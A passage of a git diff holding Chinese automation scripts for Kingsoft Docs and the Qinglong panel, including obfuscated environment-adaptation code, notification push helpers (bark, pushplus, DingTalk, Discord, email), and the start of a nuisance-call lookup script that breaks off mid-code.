_0x2267f8=Application['Range']('B'+i)["\u0054\u0065\u0078\u0074"];if(_0x1cb220=="".split("").reverse().join("")){break;}if(_0x2267f8=="\u662f"){console["\u006c\u006f\u0067"]('🧑\x20开始执行用户:'+(parseInt(i)-(0xeff03^0xeff02)));flagResultFinish=0xee64b^0xee64b;execHandle(_0x1cb220,i);break;}}}if(_0x1f12ec==userContent['length']&&flagResultFinish==(0x49187^0x49186)){flagFinish=0x80f74^0x80f75;}if(qlpushFlag==(0xae610^0xae610)&&flagFinish==0x1){console['log']("\u9001\u63A8\u8D77\u53D1\u9F99\u9752 \uDE80\uD83D".split("").reverse().join(""));message=messageMerge();const{sendNotify:_0x25bcc}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x25bcc(pushHeader,message);qlpushFlag=-0x64;}})["\u0063\u0061\u0074\u0063\u0068"](_0x203eb4=>{console['error'](":rorre hcteF".split("").reverse().join(""),_0x203eb4);});},'post':function post(_0x13ae92,_0x5b8821,_0x44b685,_0x55317c){_0x44b685=_0x44b685['headers'];contentType=_0x44b685['Content-Type'];contentType2=_0x44b685["\u0063\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u0074\u0079\u0070\u0065"];var _0x4db6b5="".split("").reverse().join("");if(contentType!=undefined&&contentType!="".split("").reverse().join("")||contentType2!=undefined&&contentType2!=''){if(contentType=="dedocnelru-mrof-www-x/noitacilppa".split("").reverse().join("")){console['log']('🍳\x20检测到发送请求体为:\x20表单格式');_0x4db6b5=dataToFormdata(_0x5b8821);}else{try{console["\u006c\u006f\u0067"]('🍳\x20检测到发送请求体为:\x20JSON格式');_0x4db6b5=JSON['stringify'](_0x5b8821);}catch{console['log']("\u5F0F\u683C\u5355\u8868 :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=_0x5b8821;}}}else{console['log']("\u5F0F\u683CNOSJ :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=JSON["\u0073\u0074\u0072\u0069\u006e\u0067\u0069\u0066\u0079"](_0x5b8821);}if(_0x55317c=="\u0067\u0065\u0074"||_0x55317c=="TEG".split("").reverse().join("")){let _0x326da0=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685})['then'](function(_0x32ad04){return _0x32ad04["\u0074\u0065\u0078\u0074"]()['then'](_0x4570f7=>{return{'status':_0x32ad04["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x32ad04["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'text':_0x4570f7,'response':_0x32ad04,'pos':_0x326da0};});})['then'](function(_0x533acc){try{_0x5b8821=JSON["\u0070\u0061\u0072\u0073\u0065"](_0x533acc["\u0074\u0065\u0078\u0074"]);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':function _0x4c4d29(){return _0x5b8821;},'text':function _0x37f878(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc['pos']};}catch(_0x53a77f){return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':null,'text':function _0xe9ffe5(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc["\u0070\u006f\u0073"]};}})['then'](_0x185f08=>{_0x326da0=_0x185f08['pos'];flagResultFinish=resultHandle(_0x185f08,_0x326da0);if(flagResultFinish==(0xc722f^0xc722e)){i=_0x326da0+(0x56040^0x56041);for(;i<=line;i++){var _0x5cc09e=Application["\u0052\u0061\u006e\u0067\u0065"]('A'+i)['Text'];var _0x5bca1a=Application['Range']("\u0042"+i)['Text'];if(_0x5cc09e==''){break;}if(_0x5bca1a=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x1fd7e^0x1fd7e;execHandle(_0x5cc09e,i);break;}}}if(_0x326da0==userContent['length']&&flagResultFinish==(0xf2b2b^0xf2b2a)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x1cf48^0x1cf49)){console['log']('🚀\x20青龙发起推送');message=messageMerge();const{sendNotify:_0x38f3c8}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x38f3c8(pushHeader,message);qlpushFlag=-(0xca032^0xca056);}})['catch'](_0x52f683=>{console['error']('Fetch\x20error:',_0x52f683);});}else{let _0xaeacf8=userContent['length']-qlpushFlag;method='post';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685,'body':_0x4db6b5})['then'](function(_0x1c043a){return _0x1c043a['text']()['then'](_0x52ce21=>{return{'status':_0x1c043a['status'],'headers':_0x1c043a['headers'],'text':_0x52ce21,"\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065":_0x1c043a,'pos':_0xaeacf8};});})['then'](function(_0x3ae307){try{_0x5b8821=JSON['parse'](_0x3ae307['text']);return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':function _0x5486bd(){return _0x5b8821;},'text':function _0x1d9320(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3ae307['pos']};}catch(_0x2df6f6){return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':null,"\u0074\u0065\u0078\u0074":function _0x4bd139(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},'pos':_0x3ae307['pos']};}})['then'](_0x55afac=>{_0xaeacf8=_0x55afac['pos'];flagResultFinish=resultHandle(_0x55afac,_0xaeacf8);if(flagResultFinish==(0x34da0^0x34da1)){i=_0xaeacf8+(0x95e50^0x95e51);for(;i<=line;i++){var _0x51de34=Application['Range']('A'+i)['Text'];var _0x529848=Application['Range']('B'+i)['Text'];if(_0x51de34=="".split("").reverse().join("")){break;}if(_0x529848=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x0;execHandle(_0x51de34,i);break;}}}if(_0xaeacf8==userContent['length']&&flagResultFinish==(0xaa758^0xaa759)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x3ae30^0x3ae31)){console["\u006c\u006f\u0067"]('🚀\x20青龙发起推送');let _0x1c81b5=messageMerge();const{sendNotify:_0x542555}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x542555(pushHeader,_0x1c81b5);qlpushFlag=-(0x85411^0x85475);}})['catch'](_0x3245cf=>{console["\u0065\u0072\u0072\u006f\u0072"](":rorre hcteF".split("").reverse().join(""),_0x3245cf);});}}};var ApplicationOverwrite={'Range':function Range(_0x17a08b){charFirst=_0x17a08b['substring'](0x0,0x1);qlRow=_0x17a08b['substring'](0xe77b9^0xe77b8,_0x17a08b['length']);qlCol=0x1;for(num in colNum){if(colNum[num]==charFirst){break;}qlCol+=0x1;}try{result=qlSheet[qlRow-0x1][qlCol-0x1];}catch{result='';}dict={'Text':result};return dict;},"\u0053\u0068\u0065\u0065\u0074\u0073":{'Item':function(_0x3f811c){return{'Name':_0x3f811c,'Activate':function(){flag=0x1;qlSheet=qlConfig[_0x3f811c];if(qlSheet==undefined){qlSheet=qlConfig['SUBCONFIG'];}console['log']("\uFF1A\u8868\u4F5C\u5DE5\u6D3B\u6FC0\u9F99\u9752 \uDF73\uD83C".split("").reverse().join("")+_0x3f811c);return flag;}};}}};var CryptoOverwrite={'createHash':function createHash(_0x2af55c){return{'update':function _0xaaf0ad(_0x2cad1b,_0x25d5bc){return{"\u0064\u0069\u0067\u0065\u0073\u0074":function _0x100f85(_0x45b9f3){return{'toUpperCase':function _0xe359a4(){return{'toString':function _0x37ba96(){try{CryptoJS=require('crypto-js');console['log']("\u5165\u5F15sj-otpyrc\u884C\u8FDB\u5DF2\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();md5Hash=md5Hash['toUpperCase']();return md5Hash;}};},'toString':function _0xfcf985(){try{CryptoJS=require('crypto-js');console['log']('♻️\x20系统已进行crypto-js引入');}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();return md5Hash;}};}};}};}};function dataToFormdata(_0x1073d4){result="";values=Object["\u0076\u0061\u006c\u0075\u0065\u0073"](_0x1073d4);values["\u0066\u006f\u0072\u0045\u0061\u0063\u0068"]((_0x46e3bd,_0xe0a588)=>{key=Object['keys'](_0x1073d4)[_0xe0a588];content=key+'='+_0x46e3bd+'&';result+=content;});result=result['substring'](0x0,result['length']-0x1);return result;}function cookiesTocookieMin(_0x3ec766){let _0x10c2b9=_0x3ec766;let _0x357077=[];var _0x527229=_0x10c2b9["\u0073\u0070\u006c\u0069\u0074"]('#');for(let _0x30e526 in _0x527229){_0x357077[_0x30e526]=_0x527229[_0x30e526];}return _0x357077;}function checkEscape(_0x24ae63,_0x2b0863){cookieArrynew=[];j=0x28920^0x28920;for(i=0x0;i<_0x24ae63['length'];i++){result=_0x24ae63[i];lastChar=result['substring'](result['length']-0x1,result['length']);if(lastChar=='\x5c'&&i<=_0x24ae63['length']-(0x5030a^0x50308)){console["\u006c\u006f\u0067"]('🍳\x20检测到转义字符');cookieArrynew[j]=result['substring'](0x0,result['length']-0x1)+_0x2b0863+_0x24ae63[parseInt(i)+(0xe77c7^0xe77c6)];i+=0x653af^0x653ae;}else{cookieArrynew[j]=_0x24ae63[i];}j+=0xccfd4^0xccfd5;}return cookieArrynew;}function cookiesTocookie(_0x30fdb1){let _0x7eefa3=_0x30fdb1;let _0x5e4f35=[];let _0x3e1587=[];_0x7eefa3=_0x7eefa3['trim']();let _0x105de4=_0x7eefa3['split']('\x0a');_0x105de4=_0x105de4["\u0066\u0069\u006c\u0074\u0065\u0072"](_0x5eac64=>_0x5eac64['trim']()!=="");if(_0x105de4['length']==(0x1e7cd^0x1e7cc)){_0x105de4=_0x7eefa3['split']('@');_0x105de4=checkEscape(_0x105de4,'@');}for(let _0x171b55 in _0x105de4){_0x3e1587=[];let _0x401143=Number(_0x171b55)+0x1;_0x5e4f35=cookiesTocookieMin(_0x105de4[_0x171b55]);_0x5e4f35=checkEscape(_0x5e4f35,'#');_0x3e1587['push'](_0x5e4f35[0x0]);_0x3e1587['push']('是');_0x3e1587['push']("\u79F0\u6635".split("").reverse().join("")+_0x401143);if(_0x5e4f35['length']>0x0){for(let _0xd30881=0x3;_0xd30881<_0x5e4f35['length']+(0x4721c^0x4721e);_0xd30881++){_0x3e1587['push'](_0x5e4f35[_0xd30881-(0xdde77^0xdde75)]);}}userContent['push'](_0x3e1587);}qlpushFlag=userContent['length']-0x1;}var qlSwitch=0x0;try{qlSwitch=process['env'][sheetNameSubConfig];qlSwitch=0x1;}catch{qlSwitch=0x2ad67^0x2ad67;console['log']('♻️\x20当前环境为金山文档');console['log']('♻️\x20开始适配金山文档,执行金山文档代码');}if(qlSwitch){console['log']('♻️\x20当前环境为青龙');console['log']('♻️\x20开始适配青龙环境,执行青龙代码');try{fetch=require('node-fetch');console['log']("\u5165\u5F15hctef-edon\u884C\u8FDB\u5DF2\uFF0Chctef\u65E0\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('♻️\x20系统已有原生fetch');}Crypto=CryptoOverwrite;let flagwarn=0xaf916^0xaf916;const a='da11990c';const b="0b854f216a9662fb".split("").reverse().join("");encode=getsign(logo);let len=encode['length'];if(a+"90ecd4ce".split("").reverse().join("")==encode['substring'](0xf30ba^0xf30ba,len/0x2)&&b==encode['substring']((0x2bc08^0x2bc0c)*(0xc6930^0xc6934),len)){console["\u006c\u006f\u0067"]('✨\x20'+logo);cookies=process['env'][sheetNameSubConfig];}else{console["\u006c\u006f\u0067"]('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');flagwarn=0x1;}let flagwarn2=0x2038e^0x2038f;const welcome="edoc UKOM esu ot emocleW".split("").reverse().join("");const mo=welcome['slice'](0xf,0xd9c98^0xd9c89)['toLowerCase']();const ku=welcome['split']('\x20')[0x4-(0x3dbee^0x3dbef)]['slice'](0x2,0xe25d3^0xe25d7);if(mo['substring'](0x0,0x1)=='m'){if(ku=='KU'){if(mo['substring'](0x1,0x2)==String['fromCharCode'](0x93cd7^0x93cb8)){cookiesTocookie(cookies);flagwarn2=0xb4736^0xb4736;console['log']('💗\x20'+welcome);}}}let t=Date['now']();if(t>(0x52714^0x527be)*0x186a0*0x186a0+0x45f34a08e){console['log']('🧾\x20使用教程请查看仓库notion链接');Application=ApplicationOverwrite;}else{flagwarn=0x5461f^0x5461e;}if(Date['now']()<(0x4e17c^0x4e1b4)*0x186a0*0x186a0){console['log']('🤝\x20欢迎各种形式的贡献');HTTP=HTTPOverwrite;}else{flagwarn2=0x1;}if(flagwarn==0x1||flagwarn2==0x1){console['log']('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');}} +}catch{ + console.log("❌ 环境存在问题,请检查是否配置好了对应依赖及环境变量") +} + +// =================青龙适配结束=================== + +// =================金山适配开始=================== +// airscript检测版本 +function checkVesion(){ + try{ + let temp = Application.Range("A1").Text; + Application.Range("A1").Value = temp + console.log("😶‍🌫️ 检测到当前airscript版本为1.0,进行1.0适配") + }catch{ + console.log("😶‍🌫️ 检测到当前airscript版本为2.0,进行2.0适配") + version = 2 + } +} + +// 推送相关 +// 获取时间 +function getDate(){ + let currentDate = new Date(); + currentDate = currentDate.getFullYear() + '/' + (currentDate.getMonth() + 1).toString() + '/' + currentDate.getDate().toString(); + return currentDate +} + +// 将消息写入CONFIG表中作为消息队列,之后统一发送 +function writeMessageQueue(message){ + // 当天时间 + let todayDate = getDate() + flagConfig = ActivateSheet(sheetNameConfig); // 激活主配置表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("✨ 开始将结果写入主配置表"); + for (let i = 2; i <= 100; i++) { + if(version == 1){ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value = message + console.log("✨ 写入结果完成"); + break; + } + }else{ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value2 == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value2 = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value2 = message + console.log("✨ 写入结果完成"); + break; + } + } + + } + } +} + +// 直推,调用就直接就进行推送 +function pushDirect(message) { + console.log("✨ 推送直推") + if (message != "") { + // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let length = jsonPush.length; + let name; + let key; + for (let i = 0; i < length; i++) { + if (jsonPush[i].flag == 1) { + name = jsonPush[i].name; + key = jsonPush[i].key; + if (name == "bark") { + bark(message, key); + } else if (name == "pushplus") { + pushplus(message, key); + } else if (name == "ServerChan") { + serverchan(message, key); + } else if (name == "email") { + email(message); + } else if (name == "dingtalk") { + dingtalk(message, key); + } else if (name == "discord") { + discord(message, key); + } + } + } + } else { + console.log("🍳 消息为空不推送"); + } +} + +// 总推送 +function push(message) { + writeMessageQueue(message) // 将消息写入CONFIG表中 + // if (message != "") { + // // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + // let length = jsonPush.length; + // let name; + // let key; + // for (let i = 0; i < length; i++) { + // if (jsonPush[i].flag == 1) { + // name = jsonPush[i].name; + // key = jsonPush[i].key; + // if (name == "bark") { + // bark(message, key); + // } else if (name == "pushplus") { + // pushplus(message, key); + // } else if (name == "ServerChan") { + // serverchan(message, key); + // } else if (name == "email") { + // email(message); + // } else if (name == "dingtalk") { + // dingtalk(message, key); + // } else if (name == "discord") { + // discord(message, key); + // } + // } + // } + // } else { + // console.log("🍳 消息为空不推送"); + // } +} + + +// 推送bark消息 +function bark(message, key) { + if (key != "") { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + message = encodeURIComponent(message) + BARK_ICON = "https://s21.ax1x.com/2024/06/23/pkrUkfe.png" + let url = "https://api.day.app/" + key + "/" + message + "/" + "?icon=" + BARK_ICON; + // 若需要修改推送的分组,则将上面一行改为如下的形式 + // let url = 'https://api.day.app/' + bark_id + "/" + message + "?group=分组名"; + let resp = HTTP.get(url, { + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + }); + sleep(5000); + } +} + +// 推送pushplus消息 +function pushplus(message, key) { + if (key != "") { + message = encodeURIComponent(message) + // url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message; + url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message + "&title=" + pushHeader; // 增加标题 + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// 推送serverchan消息 +function serverchan(message, key) { + if (key != "") { + url = + "https://sctapi.ftqq.com/" + + key + + ".send" + + "?title=" + messagePushHeader + + "&desp=" + + message; + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// email邮箱推送 +function email(message) { + var myDate = new Date(); // 创建一个表示当前时间的 Date 对象 + var data_time = myDate.toLocaleDateString(); // 获取当前日期的字符串表示 + let server = jsonEmail.server; + let port = parseInt(jsonEmail.port); // 转成整形 + let sender = jsonEmail.sender; + let authorizationCode = jsonEmail.authorizationCode; + + let mailer; + mailer = SMTP.login({ + host: server, + port: port, + username: sender, + password: authorizationCode, + secure: true, + }); + mailer.send({ + from: pushHeader + "<" + sender + ">", + to: sender, + subject: pushHeader + " - " + data_time, + text: message, + }); + // console.log("🍳 已发送邮件至:" + sender); + console.log("🍳 已发送邮件"); + sleep(5000); +} + +// 邮箱配置 +function emailConfig() { + console.log("🍳 开始读取邮箱配置"); + let length = jsonPush.length; // 因为此json数据可无序,因此需要遍历 + let name; + for (let i = 0; i < length; i++) { + name = jsonPush[i].name; + if (name == "email") { + if (jsonPush[i].flag == 1) { + let flag = ActivateSheet(sheetNameEmail); // 激活邮箱表 + // 邮箱表存在 + // var email = { + // 'email':'', 'port':'', 'sender':'', 'authorizationCode':'' + // } // 有效配置 + if (flag == 1) { + console.log("🍳 开始读取邮箱表"); + for (let i = 2; i <= 2; i++) { + // 从工作表中读取推送数据 + jsonEmail.server = Application.Range("A" + i).Text; + jsonEmail.port = Application.Range("B" + i).Text; + jsonEmail.sender = Application.Range("C" + i).Text; + jsonEmail.authorizationCode = Application.Range("D" + i).Text; + if (Application.Range("A" + i).Text == "") { + // 如果为空行,则提前结束读取 + break; + } + } + // console.log(jsonEmail) + } + break; + } + } + } +} + +// 推送钉钉机器人 +function dingtalk(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = "https://oapi.dingtalk.com/robot/send?access_token=" + key; + let resp = HTTP.post(url, { msgtype: "text", text: { content: message } }); + // console.log(resp.text()) + sleep(5000); +} + +// 推送Discord机器人 +function discord(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = key; + let resp = HTTP.post(url, { content: message }); + //console.log(resp.text()) + sleep(5000); +} + +// =================金山适配结束=================== + +// =================共用开始=================== +// main() // 入口 + +// function main(){ + checkVesion() // 版本检测,以进行不同版本的适配 + + flagConfig = ActivateSheet(sheetNameConfig); // 激活推送表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("🍳 开始读取主配置表"); + let name; // 名称 + let onlyError; + let nickname; + for (let i = 2; i <= 100; i++) { + // 从工作表中读取推送数据 + name = Application.Range("A" + i).Text; + onlyError = Application.Range("C" + i).Text; + nickname = Application.Range("D" + i).Text; + if (name == "") { + // 如果为空行,则提前结束读取 + break; // 提前退出,提高效率 + } + if (name == sheetNameSubConfig) { + if (onlyError == "是") { + messageOnlyError = 1; + console.log("🍳 只推送错误消息"); + } + + if (nickname == "是") { + messageNickname = 1; + console.log("🍳 单元格用昵称替代"); + } + + break; // 提前退出,提高效率 + } + } + } + + flagPush = ActivateSheet(sheetNamePush); // 激活推送表 + // 推送工作表存在 + if (flagPush == 1) { + console.log("🍳 开始读取推送工作表"); + let pushName; // 推送类型 + let pushKey; + let pushFlag; // 是否推送标志 + for (let i = 2; i <= line; i++) { + // 从工作表中读取推送数据 + pushName = Application.Range("A" + i).Text; + pushKey = Application.Range("B" + i).Text; + pushFlag = Application.Range("C" + i).Text; + if (pushName == "") { + // 如果为空行,则提前结束读取 + break; + } + jsonPushHandle(pushName, pushFlag, pushKey); + } + // console.log(jsonPush) + } + + // 邮箱配置函数 + emailConfig(); + + flagSubConfig = ActivateSheet(sheetNameSubConfig); // 激活分配置表 + if (flagSubConfig == 1) { + console.log("🍳 开始读取分配置表"); + + if(qlSwitch != 1){ // 金山文档 + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + execHandle(cookie, i); + } + } + message = messageMerge()// 将消息数组融合为一条总消息 + // push(message); // 推送消息 + }else{ + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + console.log("🧑 开始执行用户:" + "1" ) + execHandle(cookie, i); + break; // 只取一个 + } + } + } + + } + +// } + +// 激活工作表函数 +function ActivateSheet(sheetName) { + let flag = 0; + try { + // 激活工作表 + let sheet = Application.Sheets.Item(sheetName); + sheet.Activate(); + console.log("🥚 激活工作表:" + sheet.Name); + flag = 1; + } catch { + flag = 0; + console.log("🍳 无法激活工作表,工作表可能不存在"); + } + return flag; +} + +// 对推送数据进行处理 +function jsonPushHandle(pushName, pushFlag, pushKey) { + let length = jsonPush.length; + for (let i = 0; i < length; i++) { + if (jsonPush[i].name == pushName) { + if (pushFlag == "是") { + jsonPush[i].flag = 1; + jsonPush[i].key = pushKey; + } + } + } +} + +// 将消息数组融合为一条总消息 +function messageMerge(){ + // console.log(messageArray) + let message = "" + for(i=0; i { + // // let message = `${index + 1}/${chunks.length}: ${chunk}`; + // bark(message, key) + // }); +} + + +// 消息分片,以换行符为分割,自动检索切割位置符号 +function splitMessage(data) { + let chunks = []; + let start = 0; + + while (start < data.length) { + let end = start + maxMessageLength; + if (end >= data.length) { + chunks.push(data.slice(start)); + break; + } + + // 查找距离 maxMessageLength 在 20 字符以内的最近的换行符 + let newlineIndex = data.lastIndexOf('【', end + parseInt(messageDistance)); + // console.log(newlineIndex) + if (newlineIndex > start && newlineIndex >= end - parseInt(messageDistance)) { + end = newlineIndex; + } + chunks.push(data.slice(start, end)); + start = end; + } + + return chunks +} + +// =================消息分片处理相关结束=================== + + +// 直接推送 +// 结果处理函数 +function resultHandle(resp, pos){ + // 每次进来resultHandle则加一次请求 + posHttp += 1 // 青龙适配,青龙微适配 + + let messageSuccess = ""; + let messageFail = ""; + let messageName = ""; + // 推送昵称或单元格,还是不推送位置标识 + if (messageNickname == 1) { + // 推送昵称或单元格 + messageName = Application.Range("C" + pos).Text; + if(messageName == "") + { + messageName = "单元格A" + pos + ""; + } + } + posLabel = pos-2 ; // 存放下标,从0开始 + messageHeader[posLabel] = "👨‍🚀 " + messageName + // console.log(messageName) + + let url = "https://api.71xk.com/api/picture/v3" + resp = HTTP.fetch(url, { + method: "get", + headers: {}, + // data: data + }); + + resp = resp.binary().toString('base64') + // console.log(resp) + let qrcodeImage = 'data:image/png;base64,' + resp + // console.log(resp) + const range = Range('D' + pos) + // 向目标单元格插入图片 + range.InsertImage( + qrcodeImage + ) + console.log("✨ 获取成功" ) + // message = "" + // pushDirect(message) + + + // 青龙适配,青龙微适配 + flagResultFinish = 1; // 结束 + + sleep(2000); + + + return flagResultFinish +} + +// 具体的执行函数 +function execHandle(cookie, pos) { + // 清零操作,保证不同用户的消息的独立 + // 青龙适配,青龙微适配 + posHttp = 0 // 置空请求 + qlpushFlag -= 1 // 一个用户只会执行一次execHandle,因此可用于记录当前用户 + messageSuccess = ""; + messageFail = ""; + + resp = "" + + if(qlSwitch != 1){ // 选择金山文档 + resultHandle(resp, pos) + } +} \ No newline at end of file diff --git a/脚本库/web版/账密/骚扰电话查询/2025-08-25_telsaorao_9008abed.js b/脚本库/web版/账密/骚扰电话查询/2025-08-25_telsaorao_9008abed.js new file mode 100644 index 0000000..e5dd8e3 --- /dev/null +++ b/脚本库/web版/账密/骚扰电话查询/2025-08-25_telsaorao_9008abed.js @@ -0,0 +1,580 @@ +// # Source: https://github.com/imoki/sign_script/blob/main/polymerization/telsaorao.js +// # Raw: https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/telsaorao.js +// # Repo: imoki/sign_script +// # Path: polymerization/telsaorao.js +// # UploadedAt: 2025-08-25T21:29:14+08:00 +// # SHA256: 9008abed04e177eb1c3706af0e7918741ad74c4d1294d6676e6b0a2ee1b6d137 +// # Category: web版/账密 +// # Evidence: web/H5关键词 + username/password/login +// + +/* + name: "骚扰电话查询" + cron: 45 0 9 * * * + 脚本兼容: 金山文档(1.0),金山文档(2.0) + 更新时间:20240408 + 环境变量名:telsaorao + 环境变量值:无(修改这里) +*/ + +const logo = "艾默库 : https://github.com/imoki/sign_script" // 仓库地址 +var sheetNameSubConfig = "telsaorao"; // 分配置表名称, (修改这里) +var pushHeader = "【骚扰电话查询】"; // (修改这里) +var sheetNameConfig = "CONFIG"; // 总配置表 +var sheetNamePush = "PUSH"; // 推送表名称 +var sheetNameEmail = "EMAIL"; // 邮箱表 +var flagSubConfig = 0; // 激活分配置工作表标志 +var flagConfig = 0; // 激活主配置工作表标志 +var flagPush = 0; // 激活推送工作表标志 +var line = 21; // 指定读取从第2行到第line行的内容 +var message = ""; // 待发送的消息 +var messageArray = []; // 待发送的消息数据,每个元素都是某个账号的消息。目的是将不同用户消息分离,方便个性化消息配置 +var messageOnlyError = 0; // 0为只推送失败消息,1则为推送成功消息。 +var messageNickname = 0; // 1为推送位置标识(昵称/单元格Ax(昵称为空时)),0为不推送位置标识 +var messageHeader = []; // 存放每个消息的头部,如:单元格A3。目的是分离附加消息和执行结果消息 +var messagePushHeader = pushHeader; // 存放在总消息的头部,默认是pushHeader,如:【xxxx】 +var version = 1 // 版本类型,自动识别并适配。默认为airscript 1.0,否则为2.0(Beta) +var separator = "##########MOKU##########" // 分割符,分割消息。可用于PUSH.js灵活推送 +var maxMessageLength = 400; // 设置最大长度,超过这个长度则分片发送 +var messageDistance = 100; // 消息距离,用于匹配100字符内最近的行 + +var jsonPush = [ + { name: "bark", key: "xxxxxx", flag: "0" }, + { name: "pushplus", key: "xxxxxx", flag: "0" }, + { name: "ServerChan", key: "xxxxxx", flag: "0" }, + { name: "email", key: "xxxxxx", flag: "0" }, + { name: "dingtalk", key: "xxxxxx", flag: "0" }, + { name: "discord", key: "xxxxxx", flag: "0" }, +]; // 推送数据,flag=1则推送 +var jsonEmail = { + server: "", + port: "", + sender: "", + authorizationCode: "", +}; // 有效邮箱配置 + +// =================青龙适配开始=================== + +// 艾默库青龙适配代码 +// v2.6.2 + +try{ + var userContent=[[")\u4E2A02\u8BA4\u9ED8(eikooc".split("").reverse().join(""),")\u5426/\u662F(\u884C\u6267\u5426\u662F".split("").reverse().join(""),")\u5199\u586B\u4E0D\u53EF(\u79F0\u540D\u53F7\u8D26".split("").reverse().join("")]];var configContent=[["\u5de5\u4f5c\u8868\u7684\u540d\u79f0","\u6CE8\u5907".split("").reverse().join(""),"\u53ea\u63a8\u9001\u5931\u8d25\u6d88\u606f\uff08\u662f\u002f\u5426\uff09","\u63a8\u9001\u6635\u79f0\uff08\u662f\u002f\u5426\uff09"],[sheetNameSubConfig,pushHeader,"\u5426","\u662f"]];var qlpushFlag=0xed2aa^0xed2aa;var qlSheet=[];var colNum=["\u0041",'B','C',"\u0044","\u0045",'F',"\u0047","\u0048","\u0049",'J','K','L','M','N',"\u004f","\u0050",'Q'];qlConfig={'CONFIG':configContent,"\u0053\u0055\u0042\u0043\u004f\u004e\u0046\u0049\u0047":userContent};var posHttp=0xee242^0xee242;var flagFinish=0x31353^0x31353;var flagResultFinish=0xc6811^0xc6811;var HTTPOverwrite={'get':function get(_0x8a99d9,_0x350907){_0x350907=_0x350907['headers'];let _0x1f12ec=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x8a99d9,{"\u006d\u0065\u0074\u0068\u006f\u0064":method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x350907})["\u0074\u0068\u0065\u006e"](function(_0x2c1fb0){return _0x2c1fb0["\u0074\u0065\u0078\u0074"]()['then'](_0xb09c64=>{return{'status':_0x2c1fb0["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x2c1fb0['headers'],"\u0074\u0065\u0078\u0074":_0xb09c64,'response':_0x2c1fb0,"\u0070\u006f\u0073":_0x1f12ec};});})["\u0074\u0068\u0065\u006e"](function(_0x3872ad){try{data=JSON['parse'](_0x3872ad['text']);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x3872ad["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x3872ad['headers'],'json':function _0x352161(){return data;},"\u0074\u0065\u0078\u0074":function _0x29f35f(){return 